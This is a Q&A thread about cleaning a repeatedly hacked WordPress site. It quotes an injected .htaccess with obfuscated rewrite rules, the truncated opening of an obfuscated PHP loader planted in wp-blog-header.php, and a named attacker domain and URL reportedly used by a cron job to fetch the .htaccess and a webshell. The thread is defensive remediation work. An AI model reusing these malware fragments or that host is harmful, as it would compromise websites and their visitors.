I'm trying to clean up a WordPress website that's been hacked. I noticed that the .htaccess file has some suspect looking regular expressions, but my regex skills are pretty weak (time to learn I guess). I've tried replacing the .htaccess file with the default WordPress .htaccess, but it gets rewritten immediately and automatically. What I need to know is what's going on with this code:

# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^([^\d\/]+)-([0-9]+)-([0-9]+)-.*..*$ ?$1$3=$2&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)\/([^\d\/]+)([0-9]+)=[0-9]+$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)\/([^\d\/]+)([0-9]+)..*&_.*_.*=(.*)Q(.*)J[0-9]+.*TXF[0-9]+.*FLK.*$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)\/([^\d\/]+)([0-9]+)..*$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)\/([^\d\/]+)([0-9]+)(.*)%[0-9]+F%[0-9]+F.*..*..*%[0-9]+F.*%[0-9]+F&$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)\/([^\d\/]+)([0-9]+)(.*)%[0-9]+F%[0-9]+F.*..*..*%[0-9]+F.*%[0-9]+F$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)\/([^\d\/]+)([0-9]+)(.*)%[0-9]+F%[0-9]+F.*..*..*%[0-9]+F&$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)\/([^\d\/]+)([0-9]+)$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)\/([^\d\/]+)([0-9]+).*[0-9]+..*$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([^\d\/]+)-([0-9]+)-([0-9]+)..*$ ?$1$3=$2&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)\/([^\d\/]+)([0-9]+)(.*)%[0-9]+F%[0-9]+F.*..*..*%[0-9]+F&#[0-9]+;.*=.*$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)\/([^\d\/]+)([0-9]+)(.*)%[0-9]+F%[0-9]+F.*..*..*%[0-9]+F$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)-([^\d\/]+)_.*_([0-9]+)$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
# END WordPress

If the .htaccess has been compromised, do you have any suggestions for securing it?

I did a fresh WordPress install, updated/reinstalled all plugins, reset passwords, installed captchas for logins, moved the WordPress install to a different directory, etc. Website seemed to be fine for a few days, but was hacked again. So frustrating!

  • 1
    There could be a PHP script injected somewhere that is automatically modifying the .htaccess file, although that doesn't explain how it reoccurs after a fresh install. Check if index.php has also been modified. And see make.wordpress.org/support/handbook/appendix/breakfix-lessons/… Commented Mar 22, 2017 at 1:24
  • And also codex.wordpress.org/FAQ_My_site_was_hacked Commented Mar 22, 2017 at 1:26
  • 1
    You should be check plugins because some of plugin updates .htaccess code. Commented Apr 3, 2017 at 14:55
  • 1
    In the short-run, you could create a .htaccess file with the desired contents. chmod it to permissions 0444. This will set the file to "read only". At least, until you figure out what the culprit is. Commented Apr 3, 2017 at 16:16
  • 1
    close voting as hacked sites are specifically off-topic, and this is not the best place to ask about regex or general htaccess questions Commented Apr 4, 2017 at 9:40

6 Answers 6


About Hacked sites:

First of all, let's be clear about issues related to hacking:

If your site was genuinely hacked, then in short of completely erasing all the files and then reinstalling the server (not just WordPress) with new passwords, updating all files and identifying and removing previous loop holes that caused the site to be hacked in the first place, nothing else will confirm that the site will not be hacked again using the same loop holes.

About the .htaccess modification:

To me, your .htaccess modification doesn't look like the result of hacking, instead it looks like a piece of WordPress CODE (either from a Plugin, or theme) that is rewriting the .htaccess file because of URL rewrites.

Check out this sample from your .htaccess CODE:

RewriteRule ^([^\d\/]+)-([0-9]+)-([0-9]+)-.*..*$ ?$1$3=$2&%{QUERY_STRING}[L]

This line is basically transforming a URL that looks like this (for example):


to adds query string (internally to the main index.php) that looks like this:


So, basically I don't see how a hacker will gain anything from this. It's still possible, but unlikely.

To test it is indeed being rewritten by WordPress this way, you may do the following test:

  1. Go to wp-admin -> Settings -> Permalinks & click Save Changes button.

  2. Rewrite .htaccess with the default WordPress .htaccess CODE.

  3. Now, go to wp-admin -> Settings -> Permalinks again and click Save Changes button.

If your .htaccess file is writable by WordPress (web server) and if that .htaccess CODE was being generated by WordPress, then after the above process, your default WordPress .htaccess will be changed immediately to the one you've posted.

What to do next?

If you've successfully identified the changes to be made by WordPress, then you may detect which plugin or theme is doing it, by again following the above procedure after disabling each installed plugin one at a time.

Once the responsible plugin is disabled, the above procedure will not produce that change in the .htaccess file anymore. Then you'll know which plugin is doing it, and perhaps will have a better understanding of why it's doing it. e.g. whether it is a feature or the result of malicious activity.

If no plugin is found to be doing it, then you may do the same with the theme by activating a WordPress core theme (e.g. Twenty Seventeen).

If none of the above works, then I guess your next option is to hire an expert and allow him to examine your site.

  • 1
    So here is the deal, hacker rarely put "I-am-hacking-you" in the URL. They are usually hiding behind something that might have a legit interpretation, so just the fact that there might be one do not indicates anything. I would say that in general anything that looks more like it is produced by a machine than a human should be suspected. Commented Apr 4, 2017 at 14:23
  • @MarkKaplun I do agree with you. My answer is based on the information provided. Also, for future reference for people who may notice their .htaccess being changed and misunderstand that to be a sign of hacking. Of course the OP here din't provide any info. on how his site was hacked. So I focused on that point. Previously I've seen people wrongly flushing rewrite rules in a WP Plugin on init hook, that may be another reason why .htaccess is getting rewritten on every page load. But as I mentioned at the very beginning, an actual hacked site demands complete reproduction of the site.
    – Fayaz
    Commented Apr 4, 2017 at 14:51
  • OMG, can you compose a list of those plugins so I avoid them? ;) Commented Apr 4, 2017 at 14:56
  • ha ha ha, I meant custom plugins written by beginners, there is a list, but you need to pay me for it ;)
    – Fayaz
    Commented Apr 4, 2017 at 14:58
  • I might..... :) Commented Apr 4, 2017 at 15:01

I've had a similar issue some months ago: one of customers websites was hacked and I had difficulties to find where. I can suggest you to also inspect the db to check for malware code, in my case I found some suspicious code in:

  • Database; Ftp - cache folder, main wp folder and other not wp folders;
  • header.php file;
  • .htaccess and also wp-config.

I can suggest you to manually check all these folders and then to install some plugin for other check like Anti-Malware Security and Brute-Force Firewall. I also regenerated the wordpress auth key. After a deep cleaning and some security tricks, like changing passwords for ftp, wordpress and db, changing users id, installing a security plugin, The website hasn't been hacked anymore till now. Not sure if this is you case, but I hope I can be helpfull to you.


I've solved the issue with the .htaccess file by cleaning up the wp-blog-header.php.The script who is responsible for the .htaccess modification is located there and looks like this.

//header('Content-Type:text/html; charset=utf-8');
$O_O_00_0OO=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A")............ ?>
 * Loads the WordPress environment and template.
 * @package WordPress

if ( !isset($wp_did_header) ) {

    $wp_did_header = true;

    require_once( dirname(__FILE__) . '/wp-load.php' );


    require_once( ABSPATH . WPINC . '/template-loader.php' );


just clean the first part and the ending "?>" + .htaccess cleaning and it should be fine.


If you are running your word press on cpanel just check for a cronjob fetching a file from the domain hello.turnedpro.xyz that is the source of the weird .htaccess file. A bash script is downloaded every second to download the .htaccess file and a webshell.

  • Checking cron jobs is a good idea, although I doubt many other people will see the same domain name as you did.
    – Rup
    Commented Sep 15, 2021 at 8:15
  • (However I'm not sure this really answers the original question?)
    – Rup
    Commented Sep 15, 2021 at 8:15
  • hi @Rup, the domain has not changed in months i have been investigating these reports and the bash script is the one that downloads the .htaccess file once you stop the cronjob you stop the .htaccess
    – swar3z
    Commented Sep 15, 2021 at 12:21
  • Then you should probably contact the host and get it shut down.
    – Rup
    Commented Sep 15, 2021 at 12:22
  • yes the .htaccess file is located here hello.turnedpro.xyz/shl/htaccess.txt
    – swar3z
    Commented Sep 15, 2021 at 12:25

Most hacking I've seen on WP sites so far are due to plugin vulnerabilities or out of date WP core.

I would suggest:

  1. Completely replace the WP core by downloading a new copy from Wordpress.org.
  2. Re-download and replace all plugin files.
  3. Check for weird files and folders in the Upload directory. That folder is usually a target because it's writable.
  4. Check the theme's header.php and functions.php files for weird includes, or weird code that's either encoding or decoding strings.
  5. The database is usually not a problem, but sometimes your posts could have been injected with links to ads (eg. viagra links). So check the posts' content for weird links, and the wp options table for weird settings.
  6. Make a copy of the current .htaccess if it has custom code, and then restore it to the default wp file.

And by "weird" I mean, things that clearly shouldn't be there, or that appear to be out of context.

Once you think everything has been cleaned, I would install a plugin or use another tool to scan for base64 code in your theme files. A lot of times the malicious code will be broken down into several different files, and disguised by having it encoded.

Finally, install a security plugin to help you get alerts when core/plugin files are changed.

If you care about your website:

  1. Always keep everything up to date. Plugins and Wp Core.
  2. Don't host it with cheap shared hosting... those are easy targets because Cpanel is typically OOD and or has not been properly setup. Also because breaches on other sites on the same server can infect your site.

If you have a VPS or a similar setup where you have more control of the server settings, make sure you reset the root pass, and other server related passwords. If your database has been compromised, you should also change the db user pass.


One of the best solution I've found is to install Wordfence, it scans all your wordpress files (external files included but you need to enable it on the settings page) with the original versions, then it shows you list with all the modified files so you can see what has been hacked

  • 2
    once a site is hacked it is game over. All "security" plugins assume the site is not hacked, as once it is hacked a malware can hide, or go dormant or whatever other trick there is to avoid detection by scanners, so while it might be a good plugin to install in general, but for this question it is irrelevant. In addition the hack might be on the server unrelated to the location in which wordpress is installed. Commented Apr 4, 2017 at 9:35

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.